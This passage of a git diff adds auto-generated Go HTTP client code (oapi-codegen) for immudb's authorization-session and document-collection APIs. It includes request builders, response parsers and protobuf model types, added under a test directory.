// (e.g., leading "." is not accepted). + // + // In practice, teams usually precompile into the binary all types that they + // expect it to use in the context of Any. However, for URLs which use the + // scheme `http`, `https`, or no scheme, one can optionally set up a type + // server that maps type URLs to message definitions as follows: + // + // * If no scheme is provided, `https` is assumed. + // * An HTTP GET on the URL must yield a [google.protobuf.Type][] + // value in binary format, or produce an error. + // * Applications are allowed to cache lookup results based on the + // URL, or have them precompiled into a binary to avoid any + // lookup. Therefore, binary compatibility needs to be preserved + // on changes to types. (Use versioned type names to manage + // breaking changes.) + // + // Note: this functionality is not currently available in the official + // protobuf release, and it is not used for type URLs beginning with + // type.googleapis.com. + // + // Schemes other than `http`, `https` (or the empty scheme) might be + // used with implementation specific semantics. + TypeUrl *string `json:"type_url,omitempty"` + + // Value Must be a valid serialized protocol buffer of the above specified type. + Value *[]byte `json:"value,omitempty"` +} + +// RuntimeError defines model for runtimeError. +type RuntimeError struct { + Code *int32 `json:"code,omitempty"` + Details *[]ProtobufAny `json:"details,omitempty"` + Error *string `json:"error,omitempty"` + Message *string `json:"message,omitempty"` +} + +// AuthorizationServiceOpenSessionV2JSONRequestBody defines body for AuthorizationServiceOpenSessionV2 for application/json ContentType. +type AuthorizationServiceOpenSessionV2JSONRequestBody = AuthorizationschemaOpenSessionRequestV2 + +// RequestEditorFn is the function signature for the RequestEditor callback function +type RequestEditorFn func(ctx context.Context, req *http.Request) error + +// Doer performs HTTP requests. +// +// The standard http.Client implements this interface. +type HttpRequestDoer interface { + Do(req *http.Request) (*http.Response, error) +} + +// Client which conforms to the OpenAPI3 specification for this service. +type Client struct { + // The endpoint of the server conforming to this interface, with scheme, + // https://api.deepmap.com for example. This can contain a path relative + // to the server, such as https://api.deepmap.com/dev-test, and all the + // paths in the swagger spec will be appended to the server. + Server string + + // Doer for performing requests, typically a *http.Client with any + // customized settings, such as certificate chains. + Client HttpRequestDoer + + // A list of callbacks for modifying requests which are generated before sending over + // the network. + RequestEditors []RequestEditorFn +} + +// ClientOption allows setting custom parameters during construction +type ClientOption func(*Client) error + +// Creates a new Client, with reasonable defaults +func NewClient(server string, opts ...ClientOption) (*Client, error) { + // create a client with sane default values + client := Client{ + Server: server, + } + // mutate client and add all optional params + for _, o := range opts { + if err := o(&client); err != nil { + return nil, err + } + } + // ensure the server URL always has a trailing slash + if !strings.HasSuffix(client.Server, "/") { + client.Server += "/" + } + // create httpClient, if not already present + if client.Client == nil { + client.Client = &http.Client{} + } + return &client, nil +} + +// WithHTTPClient allows overriding the default Doer, which is +// automatically created using http.Client. This is useful for tests. +func WithHTTPClient(doer HttpRequestDoer) ClientOption { + return func(c *Client) error { + c.Client = doer + return nil + } +} + +// WithRequestEditorFn allows setting up a callback function, which will be +// called right before sending the request. This can be used to mutate the request. +func WithRequestEditorFn(fn RequestEditorFn) ClientOption { + return func(c *Client) error { + c.RequestEditors = append(c.RequestEditors, fn) + return nil + } +} + +// The interface specification for the client above. +type ClientInterface interface { + // AuthorizationServiceOpenSessionV2 request with any body + AuthorizationServiceOpenSessionV2WithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + AuthorizationServiceOpenSessionV2(ctx context.Context, body AuthorizationServiceOpenSessionV2JSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) +} + +func (c *Client) AuthorizationServiceOpenSessionV2WithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewAuthorizationServiceOpenSessionV2RequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) AuthorizationServiceOpenSessionV2(ctx context.Context, body AuthorizationServiceOpenSessionV2JSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewAuthorizationServiceOpenSessionV2Request(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +// NewAuthorizationServiceOpenSessionV2Request calls the generic AuthorizationServiceOpenSessionV2 builder with application/json body +func NewAuthorizationServiceOpenSessionV2Request(server string, body AuthorizationServiceOpenSessionV2JSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewAuthorizationServiceOpenSessionV2RequestWithBody(server, "application/json", bodyReader) +} + +// NewAuthorizationServiceOpenSessionV2RequestWithBody generates requests for AuthorizationServiceOpenSessionV2 with any type of body +func NewAuthorizationServiceOpenSessionV2RequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/authorization/session/open") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { + for _, r := range c.RequestEditors { + if err := r(ctx, req); err != nil { + return err + } + } + for _, r := range additionalEditors { + if err := r(ctx, req); err != nil { + return err + } + } + return nil +} + +// ClientWithResponses builds on ClientInterface to offer response payloads +type ClientWithResponses struct { + ClientInterface +} + +// NewClientWithResponses creates a new ClientWithResponses, which wraps +// Client with return type handling +func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { + client, err := NewClient(server, opts...) + if err != nil { + return nil, err + } + return &ClientWithResponses{client}, nil +} + +// WithBaseURL overrides the baseURL. +func WithBaseURL(baseURL string) ClientOption { + return func(c *Client) error { + newBaseURL, err := url.Parse(baseURL) + if err != nil { + return err + } + c.Server = newBaseURL.String() + return nil + } +} + +// ClientWithResponsesInterface is the interface specification for the client with responses above. +type ClientWithResponsesInterface interface { + // AuthorizationServiceOpenSessionV2 request with any body + AuthorizationServiceOpenSessionV2WithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuthorizationServiceOpenSessionV2Response, error) + + AuthorizationServiceOpenSessionV2WithResponse(ctx context.Context, body AuthorizationServiceOpenSessionV2JSONRequestBody, reqEditors ...RequestEditorFn) (*AuthorizationServiceOpenSessionV2Response, error) +} + +type AuthorizationServiceOpenSessionV2Response struct { + Body []byte + HTTPResponse *http.Response + JSON200 *AuthorizationschemaOpenSessionResponseV2 + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r AuthorizationServiceOpenSessionV2Response) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r AuthorizationServiceOpenSessionV2Response) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +// AuthorizationServiceOpenSessionV2WithBodyWithResponse request with arbitrary body returning *AuthorizationServiceOpenSessionV2Response +func (c *ClientWithResponses) AuthorizationServiceOpenSessionV2WithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuthorizationServiceOpenSessionV2Response, error) { + rsp, err := c.AuthorizationServiceOpenSessionV2WithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseAuthorizationServiceOpenSessionV2Response(rsp) +} + +func (c *ClientWithResponses) AuthorizationServiceOpenSessionV2WithResponse(ctx context.Context, body AuthorizationServiceOpenSessionV2JSONRequestBody, reqEditors ...RequestEditorFn) (*AuthorizationServiceOpenSessionV2Response, error) { + rsp, err := c.AuthorizationServiceOpenSessionV2(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseAuthorizationServiceOpenSessionV2Response(rsp) +} + +// ParseAuthorizationServiceOpenSessionV2Response parses an HTTP response from a AuthorizationServiceOpenSessionV2WithResponse call +func ParseAuthorizationServiceOpenSessionV2Response(rsp *http.Response) (*AuthorizationServiceOpenSessionV2Response, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &AuthorizationServiceOpenSessionV2Response{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest AuthorizationschemaOpenSessionResponseV2 + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} diff --git a/test/objectstorage_tests/immudbhttpclient/immudbdocuments/documentsclient.go b/test/objectstorage_tests/immudbhttpclient/immudbdocuments/documentsclient.go new file mode 100644 index 0000000000..73b912ec61 --- /dev/null +++ b/test/objectstorage_tests/immudbhttpclient/immudbdocuments/documentsclient.go @@ -0,0 +1,1692 @@ +// Package immudbdocuments provides primitives to interact with the openapi HTTP API. +// +// Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. +package immudbdocuments + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strings" + + "github.com/deepmap/oapi-codegen/pkg/runtime" +) + +const ( + BearerScopes = "bearer.Scopes" +) + +// Defines values for DocumentschemaIndexType. +const ( + DOUBLE DocumentschemaIndexType = "DOUBLE" + INTEGER DocumentschemaIndexType = "INTEGER" + STRING DocumentschemaIndexType = "STRING" +) + +// Defines values for DocumentschemaQueryOperator. +const ( + EQ DocumentschemaQueryOperator = "EQ" + GT DocumentschemaQueryOperator = "GT" + GTE DocumentschemaQueryOperator = "GTE" + LIKE DocumentschemaQueryOperator = "LIKE" + LT DocumentschemaQueryOperator = "LT" + LTE DocumentschemaQueryOperator = "LTE" +) + +// DocumentschemaCollectionCreateRequest defines model for documentschemaCollectionCreateRequest. +type DocumentschemaCollectionCreateRequest struct { + IndexKeys *map[string]DocumentschemaIndexOption `json:"indexKeys,omitempty"` + Name *string `json:"name,omitempty"` + PrimaryKeys *map[string]DocumentschemaIndexOption `json:"primaryKeys,omitempty"` +} + +// DocumentschemaCollectionCreateResponse defines model for documentschemaCollectionCreateResponse. +type DocumentschemaCollectionCreateResponse struct { + Collection *DocumentschemaCollectionInformation `json:"collection,omitempty"` +} + +// DocumentschemaCollectionDeleteResponse defines model for documentschemaCollectionDeleteResponse. +type DocumentschemaCollectionDeleteResponse = map[string]interface{} + +// DocumentschemaCollectionGetResponse defines model for documentschemaCollectionGetResponse. +type DocumentschemaCollectionGetResponse struct { + Collection *DocumentschemaCollectionInformation `json:"collection,omitempty"` +} + +// DocumentschemaCollectionInformation defines model for documentschemaCollectionInformation. +type DocumentschemaCollectionInformation struct { + IndexKeys *map[string]DocumentschemaIndexOption `json:"indexKeys,omitempty"` + Name *string `json:"name,omitempty"` + PrimaryKeys *map[string]DocumentschemaIndexOption `json:"primaryKeys,omitempty"` +} + +// DocumentschemaCollectionListRequest defines model for documentschemaCollectionListRequest. +type DocumentschemaCollectionListRequest = map[string]interface{} + +// DocumentschemaCollectionListResponse defines model for documentschemaCollectionListResponse. +type DocumentschemaCollectionListResponse struct { + Collections *[]DocumentschemaCollectionInformation `json:"collections,omitempty"` +} + +// DocumentschemaDocumentAudit defines model for documentschemaDocumentAudit. +type DocumentschemaDocumentAudit struct { + TransactionID *string `json:"transactionID,omitempty"` + Value *map[string]interface{} `json:"value,omitempty"` +} + +// DocumentschemaDocumentAuditRequest defines model for documentschemaDocumentAuditRequest. +type DocumentschemaDocumentAuditRequest struct { + Collection *string `json:"collection,omitempty"` + Page *int64 `json:"page,omitempty"` + PerPage *int64 `json:"perPage,omitempty"` + PrimaryKeys *map[string]DocumentschemaIndexValue `json:"primaryKeys,omitempty"` +} + +// DocumentschemaDocumentAuditResponse defines model for documentschemaDocumentAuditResponse. +type DocumentschemaDocumentAuditResponse struct { + EntriesLeft *int64 `json:"entriesLeft,omitempty"` + Page *int64 `json:"page,omitempty"` + PerPage *int64 `json:"perPage,omitempty"` + Results *[]DocumentschemaDocumentAudit `json:"results,omitempty"` +} + +// DocumentschemaDocumentInsertRequest defines model for documentschemaDocumentInsertRequest. +type DocumentschemaDocumentInsertRequest struct { + Collection *string `json:"collection,omitempty"` + Document *[]map[string]interface{} `json:"document,omitempty"` +} + +// DocumentschemaDocumentInsertResponse defines model for documentschemaDocumentInsertResponse. +type DocumentschemaDocumentInsertResponse struct { + Proof *SchemaVerifiableTx `json:"proof,omitempty"` +} + +// DocumentschemaDocumentProofRequest defines model for documentschemaDocumentProofRequest. +type DocumentschemaDocumentProofRequest struct { + AtRevision *string `json:"atRevision,omitempty"` + Collection *string `json:"collection,omitempty"` + PrimaryKeys *map[string]DocumentschemaIndexValue `json:"primaryKeys,omitempty"` +} + +// DocumentschemaDocumentProofResponse defines model for documentschemaDocumentProofResponse. +type DocumentschemaDocumentProofResponse struct { + Proof *SchemaVerifiableTx `json:"proof,omitempty"` +} + +// DocumentschemaDocumentQuery defines model for documentschemaDocumentQuery. +type DocumentschemaDocumentQuery struct { + Field *string `json:"field,omitempty"` + Operator *DocumentschemaQueryOperator `json:"operator,omitempty"` + Value *string `json:"value,omitempty"` +} + +// DocumentschemaDocumentSearchRequest defines model for documentschemaDocumentSearchRequest. +type DocumentschemaDocumentSearchRequest struct { + Collection *string `json:"collection,omitempty"` + Page *int64 `json:"page,omitempty"` + PerPage *int64 `json:"perPage,omitempty"` + Query *[]DocumentschemaDocumentQuery `json:"query,omitempty"` +} + +// DocumentschemaDocumentSearchResponse defines model for documentschemaDocumentSearchResponse. +type DocumentschemaDocumentSearchResponse struct { + EntriesLeft *int64 `json:"entriesLeft,omitempty"` + Page *int64 `json:"page,omitempty"` + PerPage *int64 `json:"perPage,omitempty"` + Results *[]map[string]interface{} `json:"results,omitempty"` +} + +// DocumentschemaIndexOption defines model for documentschemaIndexOption. +type DocumentschemaIndexOption struct { + Type *DocumentschemaIndexType `json:"type,omitempty"` +} + +// DocumentschemaIndexType defines model for documentschemaIndexType. +type DocumentschemaIndexType string + +// DocumentschemaIndexValue defines model for documentschemaIndexValue. +type DocumentschemaIndexValue struct { + BoolValue *bool `json:"bool_value,omitempty"` + NullValue *string `json:"null_value,omitempty"` + NumberValue *float64 `json:"number_value,omitempty"` + StringValue *string `json:"string_value,omitempty"` +} + +// DocumentschemaQueryOperator defines model for documentschemaQueryOperator. +type DocumentschemaQueryOperator string + +// ProtobufAny `Any` contains an arbitrary serialized protocol buffer message along with a +// URL that describes the type of the serialized message. +// +// Protobuf library provides support to pack/unpack Any values in the form +// of utility functions or additional generated methods of the Any type. +// +// Example 1: Pack and unpack a message in C++. +// +// Foo foo = ...; +// Any any; +// any.PackFrom(foo); +// ... +// if (any.UnpackTo(&foo)) { +// ... +// } +// +// Example 2: Pack and unpack a message in Java. +// +// Foo foo = ...; +// Any any = Any.pack(foo); +// ... +// if (any.is(Foo.class)) { +// foo = any.unpack(Foo.class); +// } +// +// Example 3: Pack and unpack a message in Python. +// +// foo = Foo(...) +// any = Any() +// any.Pack(foo) +// ... +// if any.Is(Foo.DESCRIPTOR): +// any.Unpack(foo) +// ... +// +// Example 4: Pack and unpack a message in Go +// +// foo := &pb.Foo{...} +// any, err := ptypes.MarshalAny(foo) +// ... +// foo := &pb.Foo{} +// if err := ptypes.UnmarshalAny(any, foo); err != nil { +// ... +// } +// +// The pack methods provided by protobuf library will by default use +// 'type.googleapis.com/full.type.name' as the type URL and the unpack +// methods only use the fully qualified type name after the last '/' +// in the type URL, for example "foo.bar.com/x/y.z" will yield type +// name "y.z". +// +// JSON +// ==== +// The JSON representation of an `Any` value uses the regular +// representation of the deserialized, embedded message, with an +// additional field `@type` which contains the type URL. Example: +// +// package google.profile; +// message Person { +// string first_name = 1; +// string last_name = 2; +// } +// +// { +// "@type": "type.googleapis.com/google.profile.Person", +// "firstName": , +// "lastName": +// } +// +// If the embedded message type is well-known and has a custom JSON +// representation, that representation will be embedded adding a field +// `value` which holds the custom JSON in addition to the `@type` +// field. Example (for message [google.protobuf.Duration][]): +// +// { +// "@type": "type.googleapis.com/google.protobuf.Duration", +// "value": "1.212s" +// } +type ProtobufAny struct { + // TypeUrl A URL/resource name that uniquely identifies the type of the serialized + // protocol buffer message. This string must contain at least + // one "/" character. The last segment of the URL's path must represent + // the fully qualified name of the type (as in + // `path/google.protobuf.Duration`). The name should be in a canonical form + // (e.g., leading "." is not accepted). + // + // In practice, teams usually precompile into the binary all types that they + // expect it to use in the context of Any. However, for URLs which use the + // scheme `http`, `https`, or no scheme, one can optionally set up a type + // server that maps type URLs to message definitions as follows: + // + // * If no scheme is provided, `https` is assumed. + // * An HTTP GET on the URL must yield a [google.protobuf.Type][] + // value in binary format, or produce an error. + // * Applications are allowed to cache lookup results based on the + // URL, or have them precompiled into a binary to avoid any + // lookup. Therefore, binary compatibility needs to be preserved + // on changes to types. (Use versioned type names to manage + // breaking changes.) + // + // Note: this functionality is not currently available in the official + // protobuf release, and it is not used for type URLs beginning with + // type.googleapis.com. + // + // Schemes other than `http`, `https` (or the empty scheme) might be + // used with implementation specific semantics. + TypeUrl *string `json:"type_url,omitempty"` + + // Value Must be a valid serialized protocol buffer of the above specified type. + Value *[]byte `json:"value,omitempty"` +} + +// RuntimeError defines model for runtimeError. +type RuntimeError struct { + Code *int32 `json:"code,omitempty"` + Details *[]ProtobufAny `json:"details,omitempty"` + Error *string `json:"error,omitempty"` + Message *string `json:"message,omitempty"` +} + +// SchemaDualProof defines model for schemaDualProof. +type SchemaDualProof struct { + LinearAdvanceProof *SchemaLinearAdvanceProof `json:"LinearAdvanceProof,omitempty"` + ConsistencyProof *[][]byte `json:"consistencyProof,omitempty"` + InclusionProof *[][]byte `json:"inclusionProof,omitempty"` + LastInclusionProof *[][]byte `json:"lastInclusionProof,omitempty"` + LinearProof *SchemaLinearProof `json:"linearProof,omitempty"` + SourceTxHeader *SchemaTxHeader `json:"sourceTxHeader,omitempty"` + TargetBlTxAlh *[]byte `json:"targetBlTxAlh,omitempty"` + TargetTxHeader *SchemaTxHeader `json:"targetTxHeader,omitempty"` +} + +// SchemaEntry defines model for schemaEntry. +type SchemaEntry struct { + Expired *bool `json:"expired,omitempty"` + Key *[]byte `json:"key,omitempty"` + Metadata *SchemaKVMetadata `json:"metadata,omitempty"` + ReferencedBy *SchemaReference `json:"referencedBy,omitempty"` + Revision *string `json:"revision,omitempty"` + Tx *string `json:"tx,omitempty"` + Value *[]byte `json:"value,omitempty"` +} + +// SchemaExpiration defines model for schemaExpiration. +type SchemaExpiration struct { + ExpiresAt *string `json:"expiresAt,omitempty"` +} + +// SchemaInclusionProof defines model for schemaInclusionProof. +type SchemaInclusionProof struct { + Leaf *int32 `json:"leaf,omitempty"` + Terms *[][]byte `json:"terms,omitempty"` + Width *int32 `json:"width,omitempty"` +} + +// SchemaKVMetadata defines model for schemaKVMetadata. +type SchemaKVMetadata struct { + Deleted *bool `json:"deleted,omitempty"` + Expiration *SchemaExpiration `json:"expiration,omitempty"` + NonIndexable *bool `json:"nonIndexable,omitempty"` +} + +// SchemaLinearAdvanceProof defines model for schemaLinearAdvanceProof. +type SchemaLinearAdvanceProof struct { + InclusionProofs *[]SchemaInclusionProof `json:"inclusionProofs,omitempty"` + LinearProofTerms *[][]byte `json:"linearProofTerms,omitempty"` +} + +// SchemaLinearProof defines model for schemaLinearProof. +type SchemaLinearProof struct { + TargetTxId *string `json:"TargetTxId,omitempty"` + SourceTxId *string `json:"sourceTxId,omitempty"` + Terms *[][]byte `json:"terms,omitempty"` +} + +// SchemaReference defines model for schemaReference. +type SchemaReference struct { + AtTx *string `json:"atTx,omitempty"` + Key *[]byte `json:"key,omitempty"` + Metadata *SchemaKVMetadata `json:"metadata,omitempty"` + Revision *string `json:"revision,omitempty"` + Tx *string `json:"tx,omitempty"` +} + +// SchemaSignature defines model for schemaSignature. +type SchemaSignature struct { + PublicKey *[]byte `json:"publicKey,omitempty"` + Signature *[]byte `json:"signature,omitempty"` +} + +// SchemaTx defines model for schemaTx. +type SchemaTx struct { + Entries *[]SchemaTxEntry `json:"entries,omitempty"` + Header *SchemaTxHeader `json:"header,omitempty"` + KvEntries *[]SchemaEntry `json:"kvEntries,omitempty"` + ZEntries *[]SchemaZEntry `json:"zEntries,omitempty"` +} + +// SchemaTxEntry defines model for schemaTxEntry. +type SchemaTxEntry struct { + HValue *[]byte `json:"hValue,omitempty"` + Key *[]byte `json:"key,omitempty"` + Metadata *SchemaKVMetadata `json:"metadata,omitempty"` + VLen *int32 `json:"vLen,omitempty"` + + // Value value, must be ignored when len(value) == 0 and vLen > 0. + // Otherwise sha256(value) must be equal to hValue. + Value *[]byte `json:"value,omitempty"` +} + +// SchemaTxHeader defines model for schemaTxHeader. +type SchemaTxHeader struct { + BlRoot *[]byte `json:"blRoot,omitempty"` + BlTxId *string `json:"blTxId,omitempty"` + EH *[]byte `json:"eH,omitempty"` + Id *string `json:"id,omitempty"` + Metadata *SchemaTxMetadata `json:"metadata,omitempty"` + Nentries *int32 `json:"nentries,omitempty"` + PrevAlh *[]byte `json:"prevAlh,omitempty"` + Ts *string `json:"ts,omitempty"` + Version *int32 `json:"version,omitempty"` +} + +// SchemaTxMetadata defines model for schemaTxMetadata. +type SchemaTxMetadata struct { + TruncatedTxID *string `json:"truncatedTxID,omitempty"` +} + +// SchemaVerifiableTx defines model for schemaVerifiableTx. +type SchemaVerifiableTx struct { + DualProof *SchemaDualProof `json:"dualProof,omitempty"` + Signature *SchemaSignature `json:"signature,omitempty"` + Tx *SchemaTx `json:"tx,omitempty"` +} + +// SchemaZEntry defines model for schemaZEntry. +type SchemaZEntry struct { + AtTx *string `json:"atTx,omitempty"` + Entry *SchemaEntry `json:"entry,omitempty"` + Key *[]byte `json:"key,omitempty"` + Score *float64 `json:"score,omitempty"` + Set *[]byte `json:"set,omitempty"` +} + +// DocumentServiceCollectionDeleteParams defines parameters for DocumentServiceCollectionDelete. +type DocumentServiceCollectionDeleteParams struct { + Name *string `form:"name,omitempty" json:"name,omitempty"` +} + +// DocumentServiceCollectionGetParams defines parameters for DocumentServiceCollectionGet. +type DocumentServiceCollectionGetParams struct { + Name *string `form:"name,omitempty" json:"name,omitempty"` +} + +// DocumentServiceCollectionCreateJSONRequestBody defines body for DocumentServiceCollectionCreate for application/json ContentType. +type DocumentServiceCollectionCreateJSONRequestBody = DocumentschemaCollectionCreateRequest + +// DocumentServiceCollectionListJSONRequestBody defines body for DocumentServiceCollectionList for application/json ContentType. +type DocumentServiceCollectionListJSONRequestBody = DocumentschemaCollectionListRequest + +// DocumentServiceDocumentAuditJSONRequestBody defines body for DocumentServiceDocumentAudit for application/json ContentType. +type DocumentServiceDocumentAuditJSONRequestBody = DocumentschemaDocumentAuditRequest + +// DocumentServiceDocumentInsertJSONRequestBody defines body for DocumentServiceDocumentInsert for application/json ContentType. +type DocumentServiceDocumentInsertJSONRequestBody = DocumentschemaDocumentInsertRequest + +// DocumentServiceDocumentProofJSONRequestBody defines body for DocumentServiceDocumentProof for application/json ContentType. +type DocumentServiceDocumentProofJSONRequestBody = DocumentschemaDocumentProofRequest + +// DocumentServiceDocumentSearchJSONRequestBody defines body for DocumentServiceDocumentSearch for application/json ContentType. +type DocumentServiceDocumentSearchJSONRequestBody = DocumentschemaDocumentSearchRequest + +// RequestEditorFn is the function signature for the RequestEditor callback function +type RequestEditorFn func(ctx context.Context, req *http.Request) error + +// Doer performs HTTP requests. +// +// The standard http.Client implements this interface. +type HttpRequestDoer interface { + Do(req *http.Request) (*http.Response, error) +} + +// Client which conforms to the OpenAPI3 specification for this service. +type Client struct { + // The endpoint of the server conforming to this interface, with scheme, + // https://api.deepmap.com for example. This can contain a path relative + // to the server, such as https://api.deepmap.com/dev-test, and all the + // paths in the swagger spec will be appended to the server. + Server string + + // Doer for performing requests, typically a *http.Client with any + // customized settings, such as certificate chains. + Client HttpRequestDoer + + // A list of callbacks for modifying requests which are generated before sending over + // the network. + RequestEditors []RequestEditorFn +} + +// ClientOption allows setting custom parameters during construction +type ClientOption func(*Client) error + +// Creates a new Client, with reasonable defaults +func NewClient(server string, opts ...ClientOption) (*Client, error) { + // create a client with sane default values + client := Client{ + Server: server, + } + // mutate client and add all optional params + for _, o := range opts { + if err := o(&client); err != nil { + return nil, err + } + } + // ensure the server URL always has a trailing slash + if !strings.HasSuffix(client.Server, "/") { + client.Server += "/" + } + // create httpClient, if not already present + if client.Client == nil { + client.Client = &http.Client{} + } + return &client, nil +} + +// WithHTTPClient allows overriding the default Doer, which is +// automatically created using http.Client. This is useful for tests. +func WithHTTPClient(doer HttpRequestDoer) ClientOption { + return func(c *Client) error { + c.Client = doer + return nil + } +} + +// WithRequestEditorFn allows setting up a callback function, which will be +// called right before sending the request. This can be used to mutate the request. +func WithRequestEditorFn(fn RequestEditorFn) ClientOption { + return func(c *Client) error { + c.RequestEditors = append(c.RequestEditors, fn) + return nil + } +} + +// The interface specification for the client above. +type ClientInterface interface { + // DocumentServiceCollectionCreate request with any body + DocumentServiceCollectionCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentServiceCollectionCreate(ctx context.Context, body DocumentServiceCollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentServiceCollectionDelete request + DocumentServiceCollectionDelete(ctx context.Context, params *DocumentServiceCollectionDeleteParams, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentServiceCollectionGet request + DocumentServiceCollectionGet(ctx context.Context, params *DocumentServiceCollectionGetParams, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentServiceCollectionList request with any body + DocumentServiceCollectionListWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentServiceCollectionList(ctx context.Context, body DocumentServiceCollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentServiceDocumentAudit request with any body + DocumentServiceDocumentAuditWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentServiceDocumentAudit(ctx context.Context, body DocumentServiceDocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentServiceDocumentInsert request with any body + DocumentServiceDocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentServiceDocumentInsert(ctx context.Context, body DocumentServiceDocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentServiceDocumentProof request with any body + DocumentServiceDocumentProofWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentServiceDocumentProof(ctx context.Context, body DocumentServiceDocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentServiceDocumentSearch request with any body + DocumentServiceDocumentSearchWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentServiceDocumentSearch(ctx context.Context, body DocumentServiceDocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) +} + +func (c *Client) DocumentServiceCollectionCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceCollectionCreateRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceCollectionCreate(ctx context.Context, body DocumentServiceCollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceCollectionCreateRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceCollectionDelete(ctx context.Context, params *DocumentServiceCollectionDeleteParams, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceCollectionDeleteRequest(c.Server, params) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceCollectionGet(ctx context.Context, params *DocumentServiceCollectionGetParams, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceCollectionGetRequest(c.Server, params) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceCollectionListWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceCollectionListRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceCollectionList(ctx context.Context, body DocumentServiceCollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceCollectionListRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); 